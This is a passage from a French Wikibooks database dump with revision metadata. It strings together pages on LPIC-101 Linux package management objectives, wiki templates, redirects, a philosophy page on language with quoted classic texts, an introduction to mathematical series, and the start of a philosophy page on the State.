;/etc/apt/sources.list ;dpkg ;dselect ;dpkg-reconfigure ;apt-get ;alien === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Utiliser le gestionnaire de package Red Hat (RPM) == === Objectifs === Description : ''Les candidats devraient être en mesure d'effectuer la gestion des packages sous des distributions Linux utilisant RPMs pour la gestion des archives. Cet objectif inclus d'etre capable d'installer, re-installer, upgrader, et retirer des packages, aussi bien que d'obtenir des informations sur le statut et la version des packages. Cet objectif inclus aussi les informations de package tel que version, statut, dépendences, intégrité, et signatures. Les candidats devrait etre en mesure de determiner quels fichiers le package fourni, aussi bien que de trouver de quel package un fichier spécifique est issus.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/etc/rpmrc ;/usr/lib/rpm/* ;rpm ;grep === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] Modèle:Livre 633 12321 2004-10-21T21:59:50Z Guillaumito 46 je continue mes essais... {| style="width:400px;border:1px black solid;" cellspacing="0" cellpadding="3" | colspan="2" style="background:{{{couleur}}};font-weight:bold;" | {{{titre}}} |- | style="text-align:right;font-weight:bold;width:100px;" | Sujet | {{{sujet}}} |- | style="text-align:right;font-weight:bold;" | Audience | {{{audience}}} |- | style="text-align:right;font-weight:bold;" | Auteur(s) | {{{auteurs}}} |} MediaWiki:Compareselectedversions 634 12322 2004-10-21T22:15:47Z Guillaumito 46 Comparer les versions sélectionnées Fr Programmation Brainfuck 635 12323 2004-10-21T22:36:12Z Guillaumito 46 Fr Programmation Brainfuck déplacé vers Programmation Brainfuck #REDIRECT [[Programmation Brainfuck]] Fr Programmation Brainfuck Introduction 636 12324 2004-10-21T22:36:54Z Guillaumito 46 Fr Programmation Brainfuck Introduction déplacé vers Programmation Brainfuck Introduction #REDIRECT [[Programmation Brainfuck Introduction]] Fr Programmation Brainfuck Les 8 instructions du langage 637 12325 2004-10-21T22:37:29Z Guillaumito 46 Fr Programmation Brainfuck Les 8 instructions du langage déplacé vers Programmation Brainfuck Les 8 instructions du langage #REDIRECT [[Programmation Brainfuck Les 8 instructions du langage]] Fr Programmation Brainfuck Comment effectuer les opérations courantes 638 12326 2004-10-21T22:38:13Z Guillaumito 46 Fr Programmation Brainfuck Comment effectuer les opérations courantes déplacé vers Programmation Brainfuck Comment effectuer les opérations courantes #REDIRECT [[Programmation Brainfuck Comment effectuer les opérations courantes]] Philosophie/Langage 648 46044 2006-06-27T18:21:01Z Guillaumito 46 [[Langage]] déplacé vers [[Philosophie/Langage]]: Convention de nommage {{SommairePhilo}} Le langage est la faculté de mettre en œuvre un sytème de signes linguistiques (qui constituent la langue) permettant la communication et l'expression de la pensée. La linguistique est l'étude scientifique du langage. ==Quelques questions sur le langage== On considère souvent le langage comme le moyen d'exprimer une idée ; il serait donc un instrument de la pensée. Il y a pourtant des cas où le langage semble nous dépasser : dans le cas du lapsus, nous disons autre chose que ce que nous voulons dire ; et dans le cas, s'il existe, où l'on parle pour ne rien dire. Le langage n'est-il qu'un instrument de communication et d'expression ? Ne fait-il qu'exprimer une pensée ? Cette problématique philosophique du langage concerne le statut métaphysique de la pensée : si la pensée préexiste au langage, il est possible de se passer de cette forme matérielle ; mais si la pensée ne peut se réduire au langage, alors ce dernier a un pouvoir spécifique, indépendant des autres facultés. Ce problème de la laison du langage et de la raison est lié également à la question de savoir si le langage révèle la nature spirituelle de l'homme, si le langage est le propre de l'homme. == Les rapports entre langage et pensée == La fonction du langage, dit-on, est d'exprimer la pensée en la manifestant extérieurement. Il faut pourtant apporter à cette formule une précision importante, et même en souligner l'insuffisance. En effet : La pensée doit ici être entendue au sens conceptuel, voire rationnel : l'expérience a montré que les singes anthropoïdes peuvent accéder à une expression symbolique abstraite (utilisation du « langage des signes » des sourds-muets, manipulation de symboles abstraits), mais il n'a jamais pu être établi qu'un animal soit capable d'exprimer une idée, ni même un concept. En d'autres termes, certains animaux sont capables d'exprimer leurs besoins (la faim, la soif), leurs émotions (désirs ou craintes, tristesse ou joie,...), mais aucun ne semble capable de porter un jugement liant des concepts. Cette précision rejoint la remarque déjà formulée par des philosophes. Par exemple, remarque Aristote, les animaux peuvent exprimer le plaisir ou la douleur, qui sont des sensations, non le juste et l'injuste, qui sont des idées (et c'est pourquoi l'homme, et l'homme seulement, est « un animal politique »). Selon Descartes, seul le langage (sous la forme de paroles articulées ou de tout autre système de signes équivalent) est capable de formuler des idées et de les communiquer à d'autres. La raison de ce lien privilégié entre pensée et langage est elle aussi exposée par des philosophes (Hobbes, Rousseau,...) : le langage n'est pas simplement l'expression de la pensée ; il en est le point de départ et l'instrument : penser, c'est « se parler », se dire en quelque sorte des choses à soi-même. La pensée, disait déjà Platon, est « le dialogue de l'âme avec elle-même ». Et s'il est vrai que le langage, par lui-même, ne pense pas, il est néanmoins indispensable à la pensée et à son déploiement : s'il est vrai que le langage est l'expression de la pensée, il faut ajouter que la pensée est une parole intérieure. == Bibliographie == *Platon, Cratyle *Aristote, De L'Interprétation *Aristote, Les Politiques, Livre I *Hobbes, Leviathan, I *Descartes, Discours de la méthode, V *Rousseau, Discours sur l'origine et les fondements de l'inégalité parmi les hommes *Benvéniste, Problèmes de linguistique générale == Sujets de dissertation == *Communiquer est-ce nécessairement dialoguer? *Le langage n'est-il qu'un moyen pour extérioriser sa pensée? *N'exprime-t-on que ce dont on a conscience? *Parler est-ce le contraire d'agir? *Peut-on tout dire? *L'important ce n'est pas ce que les choses sont mais ce qu'elles signifient. *Le silence ne dit-il rien ? *Peut-on dire que le langage est un déguisement de la pensée ? *Suffit-il d’apprendre à bien parler pour bien penser ? *Que signifie et que vaut l'expression "parler pour ne rien dire"? *La langue universelle est-elle réalisable ? *Les mots cachent-ils les choses ? *Pourquoi parle-t-on ? == Textes d'étude == DESCARTES Il n'y a aucune de nos actions extérieures, qui puisse assurer ceux qui les examinent, que notre corps n'est pas seulement une machine qui se remue de soi-même, mais qu'il y a aussi en lui une âme qui a des pensées, excepté les paroles, ou autres signes faits à propos des sujets qui se présentent, sans se rapporter à aucune passion. Je dis les paroles ou autres signes, parce que les muets se servent de signes en même façon que nous de la voix; et que ces signes soient à propos, pour exclure le parler des perroquets, sans exclure celui des fous, qui ne laisse pas d'être à propos des sujets qui se présentent, bien qu'il ne suive pas la raison; et j'ajoute que ces paroles ou signes ne se doivent rapporter à aucune passion, pour exclure, non seulement les cris de joie ou de tristesse, et semblables, mais aussi tout ce qui peut être enseigné par artifice aux animaux; car si on apprend à une pie à dire bonjour à sa maîtresse lorsqu'elle la voit arriver, ce ne peut être qu'en faisant que la prolation de cette parole devienne le mouvement de quelqu'une de ses passions; à savoir, ce sera un mouvement de l'espérance qu'elle a de manger, si l'on a toujours accoutumé de lui donner quelque friandise lorsqu'elle l'a dit; et ainsi toutes les choses qu'on fait faire aux chiens, aux chevaux et aux singes, ne sont que des mouvements de leur crainte, de leur espérance, ou de leur joie, en sorte qu'ils les peuvent faire sans aucune pensée. Or il est, ce me semble, fort remarquable que la parole, étant ainsi définie, ne convient qu'à l'homme seul. Car bien que Montaigne et Charron aient dit qu'il y a plus de différence d'homme à homme, que d'homme à bête, il ne s'est toutefois jamais trouvé aucune bête si parfaite qu'elle ait usé de quelque signe pour faire entendre à d'autres animaux quelque chose qui n'eût point de rapport à ses passions; et il n'y a point d'homme si imparfait, qu'il n'en use; en sorte que ceux qui sont sourds et muets, inventent des signes particuliers, par lesquels ils expriment leurs pensées. Ce qui me semble un très fort argument pour prouver que ce qui fait que les bêtes ne parlent point comme nous, est qu'elles n'ont aucune pensée, et non point que les organes leur manquent. Et on ne peut dire qu'elles parlent entre elles, mais que nous ne les entendons pas; car, comme les chiens et quelques autres animaux nous expriment leurs passions, ils nous exprimeraient aussi bien leurs pensées, s'ils en avaient. Lettre au marquis de Newcastle (23 novembre 1646). HOBBES Les noms des choses qui ont la propriété de nous affecter, c'est-à-dire de celles qui nous procurent du plaisir ou du déplaisir, ont, dans la conversation courante des hommes, une signification changeante parce que tous les hommes ne sont pas affectés de la même façon par la même chose, ni le même homme à des moments différents. Etant donné en effet que tous les noms sont donnés pour signifier nos représentations et que toutes nos affections ne sont rien d'autre que des représentations, lorsque nous avons des représentations différentes des mêmes choses, nous ne pouvons pas facilement éviter de leur donner des noms différents. Car même si la nature de ce que nous nous représentons est la même, il reste que la diversité des façons que nous avons de la recueillir, diversité qui est fonction de la différence de constitution de nos corps et des préventions de notre pensée, donne à chaque chose une teinture de nos différentes passions. C'est pourquoi, lorsqu'ils raisonnent, les hommes doivent prendre garde aux mots, lesquels ont aussi, au delà de la signification de ce que nous imaginons leur être propre, une signification renvoyant à la nature, à la disposition et à l'intérêt de celui qui parle ; tels sont les noms des vertus et des vices: car un homme appelle sagesse ce qu'un autre appelle crainte; et l'un appelle cruauté ce qu'un autre appelle justice; l'un prodigalité ce qu'un autre appelle magnificence; l'un gravité ce qu'un autre appelle stupidité, etc. Il en résulte que de tels noms ne peuvent jamais être les véritables fondements d'aucune espèce de raisonnement. Les métaphores et les figures du discours ne le peuvent pas davantage : mais elles sont moins dangereuses parce qu'elles professent leur caractère changeant, ce que ne font pas les autres noms. Léviathan, c.4. ROUSSEAU Le premier langage de l'homme, le langage le plus universel, le plus énergique, et le seul dont il eut besoin, avant qu'il fallût persuader des hommes assemblés, est le cri de la nature. Comme ce cri n'était arraché que par une sorte d'instinct dans les occasions pressantes, pour implorer du secours dans les grands dangers, ou du soulagement dans les maux violents, il n'était pas d'un grand usage dans le cours ordinaire de la vie, où règnent des sentiments plus modérés. Quand les idées des hommes commencèrent à s'étendre et à se multiplier, et qu'il s'établit entre eux une communication plus étroite, ils cherchèrent des signes plus nombreux et un langage plus étendu: ils multiplièrent les inflexions de la voix, et y joignirent les gestes, qui, par leur nature, sont plus expressifs, et dont le sens dépend moins d'une détermination antérieure. Ils exprimaient donc les objets visibles et mobiles par des gestes, et ceux qui frappent l'ouïe, par des sons imitatifs: mais comme le geste n'indique guère que les objets présents, ou faciles à décrire, et les actions visibles; qu'il n'est pas d'un usage universel, puisque l'obscurité, ou l'interposition d'un corps le rendent inutile, et qu'il exige l'attention plutôt qu'il ne l'excite, on s'avisa enfin de lui substituer les articulations de la voix, qui, sans avoir le même rapport avec certaines idées, sont plus propres à les représenter toutes, comme signes institués; substitution qui ne peut se faire que d'un commun consentement, et d'une manière assez difficile à pratiquer pour des hommes dont les organes grossiers n'avaient encore aucun exercice, et plus difficile encore à concevoir en elle-même, puisque cet accord unanime dut être motivé, et que la parole paraît avoir été fort nécessaire, pour établir l'usage de la parole. On doit juger que les premiers mots, dont les hommes firent usage, eurent dans leur esprit une signification beaucoup plus étendue que n'ont ceux qu'on emploie dans les langues déjà formées, et qu'ignorant la division du discours en ses parties constitutives, ils donnèrent d'abord à chaque mot le sens d'une proposition entière. Quand ils commencèrent à distinguer le sujet d'avec l'attribut, et le verbe d'avec le nom, ce qui ne fut pas un médiocre effort de génie, les substantifs ne furent d'abord qu'autant de noms propres, l'infinitif fut le seul temps des verbes, et à l'égard des adjectifs la notion ne s'en dut développer que fort difficilement, parce que tout adjectif est un mot abstrait, et que les abstractions sont des opérations pénibles, et peu naturelles. Chaque objet reçut d'abord un nom particulier, sans égard aux genres, et aux espèces, que ces premiers instituteurs n'étaient pas en état de distinguer; et tous les individus se présentèrent isolés à leur esprit, comme ils le sont dans le tableau de la nature. Si un chêne s'appelait A, un autre chêne s'appelait B: de sorte que plus les connaissances étaient bornées, et plus le dictionnaire devint étendu. L'embarras de toute cette nomenclature ne put être levé facilement: car pour ranger les êtres sous des dénominations communes, et génériques, il en fallait connaître les propriétés et les différences; il fallait des observations, et des définitions, c'est-à-dire, de l'histoire naturelle et de la métaphysique, beaucoup plus que les hommes de ce temps-là n'en pouvaient avoir. D'ailleurs, les idées générales ne peuvent s'introduire dans l'esprit qu'à l'aide des mots, et l'entendement ne les saisit que par des propositions. C'est une des raisons pour quoi les animaux ne sauraient se former de telles idées, ni jamais acquérir la perfectibilité qui en dépend. Quand un singe va sans hésiter d'une noix à l'autre, pense-t-on qu'il ait l'idée générale de cette sorte de fruit, et qu'il compare son archétype à ces deux individus? Non sans doute; mais la vue de l'une de ces noix rappelle à sa mémoire les sensations qu'il a reçues de l'autre, et ses yeux, modifiés d'une certaine manière, annoncent à son goût la modification qu'il va recevoir. Toute idée générale est purement intellectuelle; pour peu que l'imagination s'en mêle, l'idée devient aussitôt particulière. Essayez de vous tracer l'image d'un arbre en général, jamais vous n'en viendrez à bout, malgré vous il faudra le voir petit ou grand, rare ou touffu, clair ou foncé, et s'il dépendait de vous de n'y voir que ce qui se trouve en tout arbre, cette image ne ressemblerait plus à un arbre. Les êtres purement abstraits se voient de même, ou ne se conçoivent que par le discours. La définition seule du triangle vous en donne la véritable idée: sitôt que vous en figurez un dans votre esprit, c'est un tel triangle et non pas un autre, et vous ne pouvez éviter d'en rendre les lignes sensibles ou le plan coloré. Il faut donc énoncer des propositions, il faut donc parler pour avoir des idées générales; car sitôt que l'imagination s'arrête, l'esprit ne marche plus qu'à l'aide du discours. Si donc les premiers inventeurs n'ont pu donner des noms qu'aux idées qu'ils avaient déjà, il s'ensuit que les premiers substantifs n'ont pu jamais être que des noms propres. Discours sur les origines et les fondements de l'inégalité parmi les hommes ROUSSEAU On ne commença pas par raisonner, mais par sentir. On prétend que les hommes inventèrent la parole pour exprimer leurs besoins ; cette opinion me paraît insoutenable. L'effet naturel des premiers besoins fut d'écarter les hommes et non de les rapprocher. Il le fallait ainsi pour que l'espèce vint à s'étendre , et que la terre se peuplât promptement ; sans quoi le genre humain se fut entassé dans un coin du monde, et tout le reste fut demeuré désert. De cela seul il suit que l'origine des langues n'est point due aux premiers besoins des hommes ; il serait absurde que de la cause qui les écarte vînt le moyen qui les unit . D'où peut donc venir cette origine ? Des besoins moraux, des passions. Toutes les passions rapprochent les hommes que la nécessité de chercher à vivre force à se fuir. Ce n'est ni la faim, ni la soif, mais l'amour, la haine, la pitié, la colère, qui leur ont arraché les premières voix. Les fruits ne se dérobent point à nos mains ; on peut s'en nourrir sans parler ; on poursuit en silence la proie dont on veut se repaître : mais pour émouvoir un jeune cœur, pour repousser un agresseur injuste, la nature dicte des accents, des cris, des plaintes. Voilà les plus anciens mots inventés, et voilà pourquoi les premières langues furent chantantes et passionnées avant d'être simples et méthodiques. Essai sur l'origine des langues, ch.II HEGEL Nous n'avons conscience de nos pensées, nous n'avons des pensées déterminées et réelles que lorsque nous leur donnons la forme objective, que nous les différencions de notre intériorité, et que par suite nous les marquons d'une forme externe, mais d'une forme qui contient aussi le caractère de l'activité interne la plus haute. C'est le son articulé, le mot, qui seul nous offre une existence où l'interne et l'externe sont si intimement unis. Par conséquent, vouloir penser sans les mots est une entreprise insensée. Mesmer en fit l'essai et de son propre aveu, il en faillit perdre la raison. Et il est également absurde de considérer comme un désavantage et comme un défaut de la pensée cette nécessité qui lie celle-ci au mot. On croit ordinairement, il est vra, que ce qu'il y a de plushaut, c'est l'ineffable. Mais c'est là une opinion superficielle et sans fondement ; car en réalité l'ineffable, c'est la pensée obscure, la pensée à l'état de fermentation, et qui ne devient claire que lorsqu'elle trouve le mot. Ainsi le mot donne à la pensée son existence la plus haute et la plus vraie. Philosophie de l'Esprit, Psychologie, Esprit théorétique. NIETZSCHE Les divers concepts philosophiques ne sont rien d'arbitraires, ils ne se développent pas chacun pour soi, mais en relation et en parenté entre eux. Si subite et si fortuite que semble leur apparition dans l'histoire de la pensée, ils n'en font pas moins partie d'un même système, tout comme les représentants divers de la faune d'un continent. C'est ce qui apparaît dans la sûreté avec laquelle les philosophes les plus divers viennent tour à tour occuper leur place à l'intérieur d'un certain schéma préalable des philosophies possibles. Une magie invisible les oblige à parcourir sans se lasser un circuit toujours le même ; si indépendants qu'ils se croient les uns des autres dans leur volonté d'élaborer des systèmes, quelque chose en eux les guide, quelque chose les pousse à se succéder dans un ordre défini qui est justement l'ordre systématique inné des concepts, et leur parenté essentielle. Leur pensée, à vrai dire, consiste moins à découvrir qu'à reconnaître, à se souvenir, à retourner en arrière, à réintégrer un très ancien et très lointain habitat de l'âme d'où ces concepts sont jadis sortis. L'activité philosophique, sous ce rapport, est une sorte d'atavisme de très haut rang. L'étrange air de famille qu'ont entre elles toutes les philosophies hindoues, grecques, allemandes, s'explique assez simplement. Dès qu'il y a parenté linguistique, en effet, il est inévitable qu'en vertu d'une commune philosophie grammaticale, les mêmes fonctions grammaticales exerçant dans l'inconscient leur empire et leur direction, tout se trouve préparé pour un développement et un déroulement analogue des systèmes philosophiques, tandis que la route semble barrée à certaines autres possibilités d'interprétation de l'univers. Les philosophies du domaine linguistique ouralo-altaïque (dans lequel la notion de sujet est la plus mal développée) considéreront très probablement le monde avec d'autres yeux et suivront d'autres voies que les Indo-Européeens ou les Musulmans. Le sortilège exercé par certaines fonctions grammaticales est au fond celui qu'exercent certaines évaluations physiologiques et certaines particularités raciales. Cela dit pour réfuter les assertions superficielles de Locke au sujet de l'origine des idées; ''Par delà le bien et le mal'', I, 20 BERGSON D'où viennent les idées qui s'échangent ? Quelle est la portée des mots ? Il ne faut pas croire que la vie sociale soit une habitude acquise et transmise. L'homme est organisé pour la cité comme la fourmi pour la fourmilière, avec cette différence pourtant que la fourmi possède les moyens tout faits d'atteindre le but, tandis que nous apportons ce qu'il faut pour les réinventer et par conséquent pour en varier la forme. Chaque mot de notre langue a donc beau être conventionnel, le langage n'est pas une convention, et il est aussi naturel à l'homme de parler que de marcher. Or, quelle est la fonction primitive du langage ? C'est d'établir une communication en vue d'une coopération. Le langage transmet des ordres ou des avertissements. Il prescrit ou il décrit. Dans le premier cas, c'est l'appel à l'action immédiate ; dans le second, c'est le signalement de la chose et de quelqu'une de ses propriétés, en vue de l'action future. Mais dans un cas comme dans l'autre, la fonction est industrielle, commerciale, militaire, toujours sociale. Les choses que le langage décrit ont été découpées dans le réel par la perception humaine en vue du travail humain. Les propriétés qu'il signale sont les appels de la chose à une activité humaine. Le mot sera donc le même, comme nous le disions, quand la démarche suggérée sera la même, et notre esprit attribuera à des choses diverses la même propriété, se les représentera de la même manière, les groupera enfin sous la même idée, partout où la suggestion du même parti à tirer, de la même action à faire, suscitera le même mot. Telles sont les origines du mot et de l'idée. ALAIN La langue est un instrument à penser. Les esprits que nous appelons paresseux, somnolents, inertes, sots, vraisemblablement surtout incultes, et en ce sens qu'ils n'ont qu'un petit nombre de mots et d'expressions ; et c'est un trait de vulgarité bien frappant que l'emploi d'un mot tout fait. Cette pauvreté est encore bien riche, comme tes bavardages et les querelles te font voir ; toutefois ta précipitation du débit et le retour des mêmes mots montrent bien que ce mécanisme n'est nullement dominé. L'expression prend alors tout son sens. On observera ce bavardage dans tous les genres d'ivresse et de délire. Et je ne crois même point qu'il arrive à l'homme de déraisonner par d'autres causes ; l'emportement dans le discours fait de la folie avec des lieux communs. Aussi est-il vrai que le premier éclair de pensée, en tout homme et en tout enfant, est de trouver un sens ce qu'il dit. Si étrange que cela soit, nous sommes dominés par la nécessité de parler sans savoir ce que nous allons dire ; et cet état sibyllin est originaire en chacun ; l'enfant parle naturellement avant de penser, et il est compris des autres bien avant qu'il se comprenne lui-même. Penser, c'est donc parler à soi. SARTRE Pour moi, la pensée ne se confond pas avec le langage. Il fut un temps où l'on définissait la pensée indépendamment du langage comme quelque chose d'insaisissable, d'ineffable, qui préexistait à l'expression. Aujourd'hui on tombe dans l'erreur inverse. On vourait nous faire croire que la pensée c'est seulement du langage, comme si le langage lui-même n'était pas parlé. En réalité, il y a deux niveaux. A un premier niveau, le langage se présente, en effet, comme un système autonome, qui reflète l'unification sociale. Le langage est un élément du " pratico-inerte ", une matière sonore unie par un ensemble de pratiques. Le linguiste prend comme objet d'étude cette totalité de relations, et il a le droit de le faire puisqu'elle est déjà constituée. C'est le moment de la structure, où la totalité apparaît comme la chose sans l'homme, un réseau d'oppositions dans lequel chaque élément se définit par un autre, où il n'y a pas de terme, mais seulement des rapports, des différences. Mais cette chose sans l'homme est en même temps matière ouvrée par l'homme, portant la trace de l'homme. (...) Chaque élément du système renvoie à un tout, mais ce tout est mort si quelqu'un ne le reprend pas à son compte, ne le fait pas fonctionner. A ce deuxième niveau, il ne peut plus être question de structures toutes faites, qui existeraient sans nous. Dans le système du langage , il y a quelque chose que l'inerte ne peut pas donner seul, la trace d'une pratique. La structure ne s'impose à nous que dans la mesure où elle est faite par d'autres. Pour comprendre comment elle se fait, il faut donc réintroduire la praxis, en tant que processus totalisateur. BENVENISTE Mais les différences sont considérables et elles aident à prendre conscience de ce qui caractérise en propre le langage humain. Celle-ci, d'abord, essentielle, que le message des abeilles consiste entièrement dans la danse, sans intervention d'un appareil "vocal", alors qu'il n'y a pas de langage sans voix. D'où une autre différence qui est d'ordre physique. N'étant pas vocale mais gestuelle, la communication chez les abeilles s'effectue nécessairement dans des conditions qui permettent une perception visuelle, sous l'éclairage du jour ; elle ne peut avoir lieu dans l'obscurité. Le langage humain ne connaît pas cette limitation. Une différence capitale apparaît dans la situation où la communication a lieu. Le message des abeilles n'appelle aucune réponse de l'entourage, sinon une certaine conduite, qui n'est pas une réponse. Cela signifie que les abeilles ne connaissent pas le dialogue, qui est la condition du langage humain. Nous parlons à d'autres, telle est la réalité humaine. Cela révèle un nouveau contraste. Parce qu'il n'y a pas de dialogue pour les abeilles, la communication se réfère seulement à une certaine donnée objective. Il ne peut y avoir de communication relative à une donnée linguistique ; déjà parce qu'il n'y a pas de réponse, la réponse étant une réaction linguistique à une manifestation linguistique ; mais aussi en ce sens que le message d'une abeille ne peut être reproduit par une autre qui n'aurait pas vu elle-même les choses que la première annonce. On n'a pas constaté qu'une abeille aille par exemple porter dans une autre ruche le message qu'elle a reçu dans la sienne, ce qui serait une manière de transmission ou de relais. On voit la différence avec le langage humain, où, dans le dialogue, la référence à l'expérience objective et la réaction à la manifestation linguistique s'entremêlent librement et à l'infini. L'abeille ne construit pas de message à partir d'un autre message. Chacune de celles qui, alertées par la danse de la butineuse, sortent et vont se nourrir à l'endroit indiqué, reproduit quand elle rentre la même information, non d'après le message premier, mais d'après la réalité qu'elle vient de constater. Or le caractère du langage est de procurer un substitut de l'expérience apte à être transmis sans fin dans le temps et l'espace, ce qui est le propre de notre symbolisme et le fondement de la tradition linguistique. Si nous considérons maintenant le contenu du message, il sera facile d'observer qu'il se rapporte toujours et seulement à une donnée, la nourriture, et que les seules variantes qu'il comporte sont relatives à des données spatiales. Le contraste est évident avec l'illimité des contenus du langage humain. ''Problèmes de linguistique générale'' Modèle:EnTravaux 649 12334 2004-10-23T16:58:28Z Marc 66 <CENTER> {| width="85%"; style="text-align:justify; text-indent:25pt; background-color:lightyellow;border-style:dotted;border-width:1mm;border-color:red" |[[image:panneau_travaux.png|60px]] |'''Attention :''' cet article est en travaux. Tant que cet avis n'aura pas disparu, veuillez en considérer le plan et le contenu encore incomplets et en préparation, temporaires et sujets à caution. <br/> Si vous souhaitez participer, il est vous est recommandé de consulter sa page de discussion au préalable, où des informations peuvent être données sur l'avancement des travaux. |} </CENTER> Modèle:FinDéfinition 650 12335 2004-10-23T17:28:23Z Guillaumito 46 essai partie 2 </div> Modèle:DébutDéfinition 651 12336 2004-10-23T17:38:57Z Guillaumito 46 essai again... ===Définition=== <div style="font-style:italic;"> Analyse:Séries 652 12337 2004-10-24T16:38:04Z Guillaumito 46 ajout exemple série divergente == Introduction == {{DébutDéfinition}} *On appelle '''série''' de '''terme général''' <math>u_n</math> la suite <math>(S_n)</math> définie par : <math> S_n = \Sigma_{i = 0}^{n}u_n </math> où <math>u_n</math> est une suite de nombres réels. *On dit qu'une série '''converge''' si la suite <math>(S_n)</math> admet une limite S. *Si une série ne converge pas, on dit qu'elle est '''divergente'''. {{FinDéfinition}} === Exemples === <math>u_n = (-1)^n</math><br> <math>S_n = 1 + -1 + 1 + -1 + ... + (-1)^n</math><br> Pour n pair, <math>S_n</math> vaut 0, pour n impair, <math>S_n</math> vaut 1.<br> La série <math>\Sigma (-1)^n</math> est donc divergente. == Convergence == === Condition nécessaire === Pour qu'une série converge, il faut que son terme général <math>u_n</math> tende vers 0 lorsque n tend vers l'infini. C'est une condition nécessaire mais non suffisante. Un exemple classique de série divergente de terme général vérifiant cette condition est la série harmonique : <math>u_n = 1/n</math>. En effet <math>S_n = 1 + 1/2 + ... + 1/n</math> et <math>S_{2n} = 1 + 1/2 + ... + 1/n + ... + 1/2n</math>.<br> D'où <math>S_{2n} - S_n = 1/(n + 1) + 1/(n + 2) + ... + 1/2n > n/2n</math> et <math>S_{2n} - S_n > 1/2</math><br> Supposons que la série converge, alors <math>S_n</math> et <math>S_{2n}</math> admenttent une même limite S et <math>S_{2n} - S_n = 0</math> lorsque n tend vers l'infini. Ce qui est en contradiction avec <math>S_{2n} - S_n > 1/2</math>, donc la série diverge. Philosophie/État 653 46083 2006-06-27T18:53:59Z Guillaumito 46 [[État]] déplacé vers [[Philosophie/État]]: Convention de nommage {{SommairePhilo}} L'État est une organisation dotée d'un territoire, d'organes politiques, d'une personnalité morale et d'une souveraineté. L'État n'apparait que lorsque l'entité politique qui devra le régir apparait clairement et distinctement de la société. La distinction entre État et [[société civile]] est notamment caractérisée par les activitées marchandes et juridiques. L'État est cependant la seule source de liberté réelle par opposition aux anarchistes. ''Si l'on prend comme exemple une classe, une classe sans professeurs ou sans cadre dirigeant symbolisé par une personne ou un groupe de personnes est-elle possible?'' == Bibliographie == *''La République'', [[w:Platon]] *''L'Utopie'', [[w:Thomas More]] *''Le Léviathan'', [[w:Thomas Hobbes]] *''Le Prince'', [[w:Nicolas Machiavel]] *''L'Esprit des lois'', [[w:Montesquieu]] *''Contributions à la théorie de l'État'', [[w:Carré de Malberg]] *''Métaphysique des moeurs, Doctrine du droit'' [[w:Kant]] *''Le savant et la politique'' [[w:Weber]] == Textes == '''ARISTOTE''' Certains sont d'avis qu'il est contre nature qu'un seul homme soit le maître absolu de tous les citoyens, là où la cité est composée d'hommes semblables entre eux : car, disent-ils, les êtres semblables en nature doivent, en vertu d'une nécessité elle-même naturelle, posséder les mêmes droits et la même valeur ; ils en tirent cette conséquence que s'il est vrai qu'une répartition égale de nourriture et de vêtements entre des personnes inégales est une chose nuisible aux corps, ainsi en est-il aussi au sujet de la distribution des honneurs ; et par suite il en est de même quand les personnes égales reçoivent un traitement inégal, et ce serait là précisément la raison pour laquelle il est juste que nul ne commande plus qu'il n'obéit, et qu'ainsi chaque citoyen soit appelé tour de rôle commander et à obéir, alternance qui n'est dès lors rien d'autre qu'une loi, puisque l'ordre est une loi. '''HOBBES''' Tout le plaisir de l'âme consiste en la gloire (qui est une certaine bonne opinion qu'on a de soi-même) ou se rapporte à la gloire). Les autres plaisirs touchent les sens, ou ce qui y aboutit, et je les embrasse tous sous le nom de l'utile. Je conclus donc derechef, que toutes les sociétés sont bâties sur le fondement de la gloire et des commodités de la vie ; et qu'ainsi elles sont contractées par l'amour-propre, plutôt que par une forte inclination que nous ayons pour nos semblables. Cependant il y a cette remarque à faire, qu'une société fondée sur la gloire ne peut être ni de beaucoup de personnes, ni de longue durée ; parce que la gloire, de même que l'honneur, si elle se communique à tous sans exception, elle ne se communique à personne ; la raison en est, que la gloire dépend de la comparaison avec quelque autre, et de la prééminence qu'on a sur lui ; et comme la communauté de l'honneur ne donne à personne occasion de se glorifier, le secours d'autrui qu'on a reçu pour monter à la gloire en diminue le prix. Car on est d'autant plus grand et à estimer, qu'on a eu de propre puissance, et moins d'assistance étrangère. Mais bien que les commodités de cette vie puissent recevoir augmentation par l'assistance mutuelle que nous nous prêtons, il est pourtant certain qu'elles s'avancent davantage par une domination absolue, que par la société ; d'où il s'ensuit, que si la crainte était ôtée de parmi les hommes, ils se porteraient de leur nature plus avidement à la domination, qu'à la société. C'est donc une chose tout avérée, que l'origine des plus grandes et des plus durables sociétés, ne vient point d'une réciproque bienveillance que les hommes se portent, mais d'une crainte mutuelle qu'ils ont les uns des autres. ''De Cive, I''. '''STIRNER''' L'Etat laisse autant que possible les individus jouer librement, pourvu qu’ils ne prennent pas leur jeu au sérieux, et ne le perdent pas de vue, lui, L'Etat. Il ne peut s’établir d’homme à homme de relations qui ne soient inquiétées sans surveillance d’une intervention supérieure. Je ne puis pas faire tout ce dont je serais capable, mais seulement ce que L'Etat me permet de faire ; je ne puis faire valoir ni mes pensées, ni mon travail, ni en général rien de ce qui est à moi. L'Etat ne poursuit jamais qu'un but : limiter, enchaîner, assujettir l'individu, le subordonner à une généralité quelconque. Il ne peut subsister qu'à condition que l'individu ne soit pas pour soi-même dans le tout ; il implique de toute nécessité la limitation du moi, ma mutilation et mon esclavage. Jamais L'Etat ne propose de stimuler la libre activité de l'individu : la seule activité qu'il encourage est celle qui se rattache au but que lui-même poursuit. [...] L'Etat cherche par sa censure, sa surveillance et sa police, à enrayer toute activité libre ; en jouant ce rôle de bâton dans les roues, il croit (avec raison d'ailleurs, car sa conservation est à ce prix) remplir son devoir. L'Etat veut faire de l'homme quelque chose, il veut le façonner ; aussi l'homme, en tant que vivant dans L'Etat, n'est-il qu'un homme factice ; quiconque veut être soi-même est adversaire de L'Etat et n'est rien. » Il n'est rien « signifie : L'Etat ne l'utilise pas, ne lui accorde aucun titre, aucune commission, etc. L'unique et sa propriété '''MARX et ENGELS''' C’est justement cette contradiction entre l’intérêt particulier et l’intérêt collectif qui amène l’intérêt collectif à prendre, en qualité d’Etat une forme indépendante, séparée des intérêts réels de l’individu et de l’ensemble et à faire en même temps figure de communauté illusoire, mais toujours sur la base concrète des liens dans chaque conglomérat de famille et de tribut tels que les liens existants du sang, le langage, la division du travail à une vaste échelle et autres intérêts ; et parmi ces intérêts nous trouvons en particulier, comme nous le développerons plus loin, les intérêts des classes déjà conditionnées par la division du travail, qui se différencient dans tout 